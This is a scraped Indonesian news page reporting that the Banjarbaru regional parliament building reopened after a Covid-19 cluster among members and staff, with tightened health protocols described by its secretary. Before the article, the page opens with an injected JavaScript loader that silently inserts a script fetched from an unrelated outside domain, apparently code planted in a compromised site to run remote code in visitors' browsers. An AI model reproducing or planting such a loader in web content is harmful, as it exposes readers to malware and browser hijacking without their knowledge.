(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Potensi munculnya kluster penyebaran Covid-19 membuat gedung DPRD Banjarbaru sempat ditutup selama hampir sepekan. Namun pada Senin (12/10/2020), gedung dewan kembali dibuka ditandai berlangsungnya paripurna pembahasan sejumlah Raperda.
Meski demikian, DPRD Banjarbaru memperketat penerapan protokol kesehatan. Tumbangnya 3 anggota dewan dan 8 pegawai staf di lingkungan DPRD beberapa waktu lalu, membuat pihak sekretariat was-was dalam menyelenggarakan kegiatan.
Sekretaris DPRD Banjarbaru Aida Yunani menyatakan, sangat menekankan kepada setiap anggota dewan, staf, maupun tamu yang datang ke DPRD Banjarbaru wajib menerapkan protokol kesehatan covid-19.
“Kita lebih ketat dan tegas dalam menerapkan protokol kesehatan Covid-19. Intinya kita berkaca dengan kejadian sebelumnya. Sebelum ada kegiatan seperti rapat paripurna, kita akan minta BPBD untuk lakukan strelisasi dulu,” katanya, Selasa (13/10/20202).
Tak hanya itu, Aida juga mengungkapkan bahwa ke depannya pihaknya akan mengurangi kegiatan tatap muka dan dialihkan melalui pertemuan virtual. Meskipun, tentunya tak semua kegiatan bisa disiasati melalui virtual.
“Contohnya, rapat paripurna pengambilan keputusan yang mana itu harus tatap muka karena menghadirkan para pejabat di Pemko Banjarbaru. Mungkin untuk rapat biasa bersifat internal, itu bisa dilakukan secara virtual saja,” tambah Sekwan DPRD Banjarbaru.
Sebagaimana diketahui, publik Banjarbaru sempat dibuat gempar atas kabar 3 anggota DPRD Banjarbaru yang terinfeksi Covid-19. Hal itu mengharuskan 22 pegawai staf di sekretariat DPRD Banjarbaru menjalani tes swab dan hasilnya, 8 orang turut dinyatakan terinfeksi Covid-19 pada pekan lalu.
Khusus untuj 8 pegawai staf di DPRD Banjarbaru, kata Aida, telah dinyatakan sembuh dari Covid-19. Hal itu sebagaimna hasil tes swab yang dilakukan sebanyak 2 kali. Namun begitu, ia mengungkapkan bahwa ke 8 orang tersebut masih diberikan jatah beberapa hari ke depan untuk berisitirahat diri di rumah masing-masing.
“Memang sudah sembuh, tapi kita minta untuk jangan masuk kerja dulu. Mereka itu baru selesai menjalani karantina, jadi kita minta istrihat dulu di rumah,” lugas Sekwan. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.